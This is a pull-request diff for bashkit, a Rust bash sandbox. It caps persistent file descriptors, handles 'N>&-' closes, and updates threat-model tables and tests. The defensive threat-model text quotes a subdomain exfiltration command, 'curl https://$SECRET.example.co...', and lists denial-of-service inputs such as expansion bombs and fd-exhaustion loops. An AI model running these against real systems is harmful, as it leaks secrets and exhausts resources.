Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
3 changes: 2 additions & 1 deletion crates/bashkit/docs/threat-model.md
Original file line number Diff line number Diff line change
Expand Up @@ -110,6 +110,7 @@ through configurable limits.
| Param expansion bomb (TM-DOS-059) | `${x//a/bigstring}` multiplicative amplification | `max_total_variable_bytes` + `max_stdout_bytes` | MITIGATED |
| Sparse array huge-index (TM-DOS-060) | `arr[999999999]=x` | HashMap storage; `max_array_entries` | MITIGATED |
| Snapshot restore bypasses function/parser limits (TM-DOS-061) | Crafted snapshot with oversized/deep function bodies | Re-parse restored function source under current limits; re-check function memory budget | MITIGATED |
| Persistent fd exhaustion (TM-DOS-063) | `exec N>/tmp/f` across many `N` values | `max_file_descriptors` caps custom persistent descriptors | MITIGATED |

**Configuration:**
```rust
Expand Down Expand Up @@ -378,7 +379,7 @@ exfiltration by encoding secrets in subdomains (`curl https://$SECRET.example.co

| Threat | Attack Example | Mitigation | Status |
|--------|---------------|------------|--------|
| HTML in output (TM-INJ-007) | Script outputs `<script>` | N/A (CLI tool) | NOT APPLICABLE |
| HTML in output (TM-INJ-007) | Script outputs `<script>` and caller renders output in a web UI | Caller should HTML-escape output and use a restrictive CSP | CALLER RISK |
| Terminal escapes (TM-INJ-008) | ANSI sequences in output | Caller should sanitize | CALLER RISK |

**Internal State:**
Expand Down
27 changes: 25 additions & 2 deletions crates/bashkit/src/interpreter/mod.rs
Original file line number Diff line number Diff line change
Expand Up @@ -4899,6 +4899,7 @@ impl Interpreter {
let text = bytes_to_latin1_string(&content);
let fd = redirect.fd.or(resolved_fd_var);
if let Some(fd) = fd {
self.ensure_persistent_fd_capacity(fd)?;
let lines: Vec<String> =
text.lines().rev().map(|l| l.to_string()).collect();
self.coproc_buffers.insert(fd, lines);
Expand All @@ -4910,7 +4911,7 @@ impl Interpreter {
RedirectKind::DupInput => {
let target = self.expand_word(&redirect.target).await?;
let fd = redirect.fd.or(resolved_fd_var);
if target == "-"
if (target == "-" || target == "&-")
&& let Some(fd) = fd
{
self.coproc_buffers.remove(&fd);
Expand All @@ -4920,6 +4921,7 @@ impl Interpreter {
let fd = redirect.fd.or(resolved_fd_var).unwrap_or(1);
let target_path = self.expand_word(&redirect.target).await?;
let path = self.resolve_path(&target_path);
self.ensure_persistent_fd_capacity(fd)?;
if is_dev_null(&path) {
self.exec_fd_table.insert(fd, FdTarget::DevNull);
} else {
Expand All @@ -4933,6 +4935,7 @@ impl Interpreter {
let fd = redirect.fd.or(resolved_fd_var).unwrap_or(1);
let target_path = self.expand_word(&redirect.target).await?;
let path = self.resolve_path(&target_path);
self.ensure_persistent_fd_capacity(fd)?;
if is_dev_null(&path) {
self.exec_fd_table.insert(fd, FdTarget::DevNull);
} else {
Expand All @@ -4943,7 +4946,7 @@ impl Interpreter {
RedirectKind::DupOutput => {
let target = self.expand_word(&redirect.target).await?;
let fd = redirect.fd.or(resolved_fd_var).unwrap_or(1);
if target == "-" {
if target == "-" || target == "&-" {
// exec N>&- closes the fd
self.exec_fd_table.remove(&fd);
} else if let Ok(target_fd) = target.parse::<i32>() {
Expand All @@ -4958,6 +4961,7 @@ impl Interpreter {
.cloned()
.unwrap_or(FdTarget::Stdout)
};
self.ensure_persistent_fd_capacity(fd)?;
self.exec_fd_table.insert(fd, target_entry);
}
}
Expand All @@ -4968,6 +4972,25 @@ impl Interpreter {
self.apply_redirections(result, redirects).await
}

fn ensure_persistent_fd_capacity(&self, fd: i32) -> Result<()> {
if fd <= 2 || self.exec_fd_table.contains_key(&fd) || self.coproc_buffers.contains_key(&fd)
{
return Ok(());
}

let mut open_fds: HashSet<i32> = self.exec_fd_table.keys().copied().collect();
open_fds.extend(self.coproc_buffers.keys().copied());

if open_fds.len() >= self.limits.max_file_descriptors {
return Err(crate::limits::LimitExceeded::MaxFileDescriptors(
self.limits.max_file_descriptors,
)
.into());
}

Ok(())
}

/// Execute a registered (non-special) builtin with panic safety.
/// The builtin must exist in `self.builtins` (caller checks with `contains_key`).
///
Expand Down
27 changes: 25 additions & 2 deletions crates/bashkit/src/limits.rs
Original file line number Diff line number Diff line change
Expand Up @@ -15,6 +15,7 @@
//! - **TM-DOS-023**: CPU exhaustion → `timeout`
//! - **TM-DOS-024**: Parser hang → `parser_timeout`, `max_parser_operations`
//! - **TM-DOS-027**: Builtin parser recursion → `MAX_AWK_PARSER_DEPTH`, `MAX_JQ_JSON_DEPTH` (in builtins)
//! - **TM-DOS-063**: Persistent file descriptor exhaustion → `max_file_descriptors`
//!
//! # Fail Points (enabled with `failpoints` feature)
//!
Expand Down Expand Up @@ -92,6 +93,11 @@ pub struct ExecutionLimits {
/// Default: 32
pub max_subst_depth: usize,

/// Maximum persistent custom file descriptors opened via `exec N>file`,
/// `exec N<file`, or fd duplication. Standard fds 0/1/2 do not count.
/// Default: 1024
pub max_file_descriptors: usize,

/// Whether to capture the final environment state in ExecResult.
/// Default: false (opt-in to avoid cloning cost when not needed)
pub capture_final_env: bool,
Expand All @@ -112,6 +118,7 @@ impl Default for ExecutionLimits {
max_stdout_bytes: 1_048_576, // 1MB
max_stderr_bytes: 1_048_576, // 1MB
max_subst_depth: 32,
max_file_descriptors: 1024,
capture_final_env: false,
}
}
Expand Down Expand Up @@ -246,6 +253,15 @@ impl ExecutionLimits {
self
}

/// Set maximum persistent custom file descriptors.
/// Passing 0 is treated as "use default" (no-op) to prevent misconfiguration.
pub fn max_file_descriptors(mut self, count: usize) -> Self {
if count > 0 {
self.max_file_descriptors = count;
}
self
}

/// Enable capturing final environment state in ExecResult
pub fn capture_final_env(mut self, capture: bool) -> Self {
self.capture_final_env = capture;
Expand Down Expand Up @@ -552,6 +568,9 @@ pub enum LimitExceeded {
#[error("maximum command substitution depth exceeded ({0})")]
MaxSubstDepth(usize),

#[error("maximum file descriptors exceeded ({0})")]
MaxFileDescriptors(usize),

#[error("execution timeout ({0:?})")]
Timeout(Duration),

Expand Down Expand Up @@ -1039,7 +1058,8 @@ mod tests {
.max_parser_operations(0)
.max_stdout_bytes(0)
.max_stderr_bytes(0)
.max_subst_depth(0);
.max_subst_depth(0)
.max_file_descriptors(0);

assert_eq!(limits.max_commands, defaults.max_commands);
assert_eq!(limits.max_loop_iterations, defaults.max_loop_iterations);
Expand All @@ -1054,6 +1074,7 @@ mod tests {
assert_eq!(limits.max_stdout_bytes, defaults.max_stdout_bytes);
assert_eq!(limits.max_stderr_bytes, defaults.max_stderr_bytes);
assert_eq!(limits.max_subst_depth, defaults.max_subst_depth);
assert_eq!(limits.max_file_descriptors, defaults.max_file_descriptors);
}

#[test]
Expand All @@ -1068,7 +1089,8 @@ mod tests {
.max_parser_operations(500)
.max_stdout_bytes(2048)
.max_stderr_bytes(4096)
.max_subst_depth(8);
.max_subst_depth(8)
.max_file_descriptors(16);

assert_eq!(limits.max_commands, 5);
assert_eq!(limits.max_loop_iterations, 7);
Expand All @@ -1080,6 +1102,7 @@ mod tests {
assert_eq!(limits.max_stdout_bytes, 2048);
assert_eq!(limits.max_stderr_bytes, 4096);
assert_eq!(limits.max_subst_depth, 8);
assert_eq!(limits.max_file_descriptors, 16);
}

#[test]
Expand Down
10 changes: 8 additions & 2 deletions crates/bashkit/src/parser/lexer.rs
Original file line number Diff line number Diff line change
Expand Up @@ -333,17 +333,23 @@ impl<'a> Lexer<'a> {
self.advance(); // consume >
self.advance(); // consume &

// Read the target fd number
// Read the target fd number or '-'
let mut target_str = String::new();
while let Some(c) = self.peek_char() {
if c.is_ascii_digit() {
if c.is_ascii_digit() || c == '-' {
target_str.push(c);
self.advance();
if c == '-' {
break;
}
} else {
break;
}
}

if target_str == "-" {
return Some(Token::DupFdCloseOut(fd));
}
if target_str.is_empty() {
// Just N>& without target - treat as DupOutput with fd
return Some(Token::RedirectFd(fd));
Expand Down
30 changes: 30 additions & 0 deletions crates/bashkit/src/parser/mod.rs
Original file line number Diff line number Diff line change
Expand Up @@ -503,6 +503,16 @@ impl<'a> Parser<'a> {
target: Word::literal(dst_fd.to_string()),
});
}
Some(tokens::Token::DupFdCloseOut(fd)) => {
let fd = *fd;
self.advance();
redirects.push(Redirect {
fd: Some(fd),
fd_var: None,
kind: RedirectKind::DupOutput,
target: Word::literal("-"),
});
}
Some(tokens::Token::DupInput) => {
self.advance();
if let Ok(target) = self.expect_word() {
Expand Down Expand Up @@ -2266,6 +2276,16 @@ impl<'a> Parser<'a> {
});
}
}
tokens::Token::DupFdCloseOut(fd) => {
let fd = *fd;
self.advance();
redirects.push(Redirect {
fd: Some(fd),
fd_var: None,
kind: RedirectKind::DupOutput,
target: Word::literal("-"),
});
}
tokens::Token::DupInput => {
self.advance();
if let Ok(target) = self.expect_word() {
Expand Down Expand Up @@ -2542,6 +2562,16 @@ impl<'a> Parser<'a> {
target: Word::literal(dst_fd.to_string()),
});
}
Some(tokens::Token::DupFdCloseOut(fd)) => {
let fd = *fd;
self.advance();
redirects.push(Redirect {
fd: Some(fd),
fd_var: None,
kind: RedirectKind::DupOutput,
target: Word::literal("-"),
});
}
Some(tokens::Token::DupInput) => {
let fd_var = Self::pop_fd_var(&mut words);
self.advance();
Expand Down
5 changes: 4 additions & 1 deletion crates/bashkit/src/parser/tokens.rs
Original file line number Diff line number Diff line change
Expand Up @@ -123,10 +123,13 @@ pub enum Token {
/// Duplicate fd to another (e.g., 2>&1)
DupFd(i32, i32),

/// Close output fd (e.g., 4>&-)
DupFdCloseOut(i32),

/// Duplicate input fd to another (e.g., 4<&0)
DupFdIn(i32, i32),

/// Close fd (e.g., 4<&- or 4>&-)
/// Close input fd (e.g., 4<&-)
DupFdClose(i32),

/// Redirect input with file descriptor (e.g., 4<)
Expand Down
34 changes: 34 additions & 0 deletions crates/bashkit/tests/threat_model_tests.rs
Original file line number Diff line number Diff line change
Expand Up @@ -40,6 +40,40 @@ mod resource_exhaustion {
);
}

/// TM-DOS-063: Persistent custom file descriptors must be capped.
#[tokio::test]
async fn fd_exhaustion_blocked() {
let limits = ExecutionLimits::new().max_file_descriptors(2);
let mut bash = Bash::builder().limits(limits).build();

let result = bash
.exec("exec 3>/tmp/fd3; exec 4>/tmp/fd4; exec 5>/tmp/fd5")
.await;

assert!(result.is_err());
let err = result.unwrap_err().to_string();
assert!(
err.contains("file descriptors") && err.contains("exceeded"),
"Expected fd limit error, got: {}",
err
);
}

/// TM-DOS-063: Reusing or closing fds should not consume new slots.
#[tokio::test]
async fn fd_limit_allows_reuse_and_close() {
let limits = ExecutionLimits::new().max_file_descriptors(1);
let mut bash = Bash::builder().limits(limits).build();

let result = bash
.exec("exec 3>/tmp/a; exec 3>/tmp/b; exec 3>&-; exec 4>/tmp/c; echo ok >&4; cat /tmp/c")
.await
.unwrap();

assert_eq!(result.exit_code, 0);
assert_eq!(result.stdout.trim(), "ok");
}

/// Subsequent exec() calls recover after a prior call hits the command limit.
/// Each exec() is a separate script invocation and gets its own budget.
#[tokio::test]
Expand Down
9 changes: 6 additions & 3 deletions specs/threat-model.md
Original file line number Diff line number Diff line change
Expand Up @@ -286,6 +286,7 @@ max_ast_depth: 100, // Parser recursion (TM-DOS-022)
| TM-DOS-060 | Sparse array huge-index allocation | `arr[999999999]=x` could allocate ~1B empty slots if arrays are Vec-backed; negative indices could cause OOB | HashMap-based arrays; `max_array_entries` caps total entries | **MITIGATED** |
| TM-DOS-061 | Snapshot function restore bypasses parser/function limits | Crafted snapshot restores prebuilt or deeply nested functions that exceed the current tenant's parser depth or function memory budget | Re-parse restored function source with current `ExecutionLimits`; re-apply function memory budget before insertion | **MITIGATED** |
| TM-DOS-062 | jq file binding amplification | Repeated `--rawfile` / `--slurpfile` bindings to one max-sized VFS file multiply retained jq globals and `$ARGS.named` values without consuming more VFS quota | `MAX_FILE_VAR_REQUESTS` caps binding count; `MAX_FILE_VAR_BYTES` counts cumulative file bytes per binding before retaining globals | **MITIGATED** |
| TM-DOS-063 | Persistent fd exhaustion | `exec N>/tmp/f` across many `N` values grows `exec_fd_table`/coproc fd buffers for the session | `ExecutionLimits::max_file_descriptors` (default 1024) caps persistent custom descriptors before inserts; reusing existing fd entries and standard fds 0/1/2 do not count | **MITIGATED** |

**TM-DOS-051** (mitigated): `builtins/yaml.rs` — `parse_yaml_block`, `parse_yaml_map`,
`parse_yaml_list` carry a `depth: usize` parameter. When `depth > MAX_YAML_DEPTH = 100`,
Expand Down Expand Up @@ -650,14 +651,15 @@ Regression test: `builtins::zip_cmd::tests::test_unzip_rejects_path_traversal_en

| ID | Threat | Attack Vector | Mitigation | Status |
|----|--------|--------------|------------|--------|
| TM-INJ-007 | HTML in output | Script outputs `<script>` | N/A - CLI tool | **NOT APPLICABLE** |
| TM-INJ-007 | HTML in output | Script outputs `<script>` and caller renders stdout/stderr in a web UI | Caller must HTML-escape rendered output and use a restrictive Content Security Policy | **CALLER RISK** |
| TM-INJ-008 | Terminal escape | ANSI escape sequences | Caller should sanitize | **CALLER RISK** |

**Current Risk**: LOW - Bashkit is not a web application
**Current Risk**: LOW - Bashkit does not render output itself; embedding UIs own display sanitization.

**Caller Responsibility** (TM-INJ-008): Sanitize output if displayed in terminal/web UI:
**Caller Responsibility** (TM-INJ-007, TM-INJ-008): Escape or sanitize output before display:
```rust
let result = bash.exec(script).await?;
let safe_html = html_escape(&result.stdout);
let safe_output = sanitize_terminal_escapes(&result.stdout);
```

Expand Down Expand Up @@ -1405,6 +1407,7 @@ This section maps former vulnerability IDs to the new threat ID scheme and track
| Builtin parser depth limit (100) | TM-DOS-027 | `builtins/awk.rs`, `builtins/jq/` | Yes |
| Execution timeout (30s) | TM-DOS-023 | `limits.rs` | Yes |
| Builtin output pre-allocation caps | TM-DOS-058, TM-DOS-090 | `limits.rs`, `builtins/shuf.rs` | Yes |
| Persistent custom fd cap | TM-DOS-063 | `limits.rs`, `interpreter/mod.rs` | Yes |
| Virtual filesystem | TM-ESC-001, TM-ESC-003 | `fs/memory.rs` | Yes |
| Filesystem limits | TM-DOS-005 to TM-DOS-010, TM-DOS-014 | `fs/limits.rs` | Yes |
| Path depth limit (100) | TM-DOS-012 | `fs/limits.rs` | Yes |
Expand Down
Loading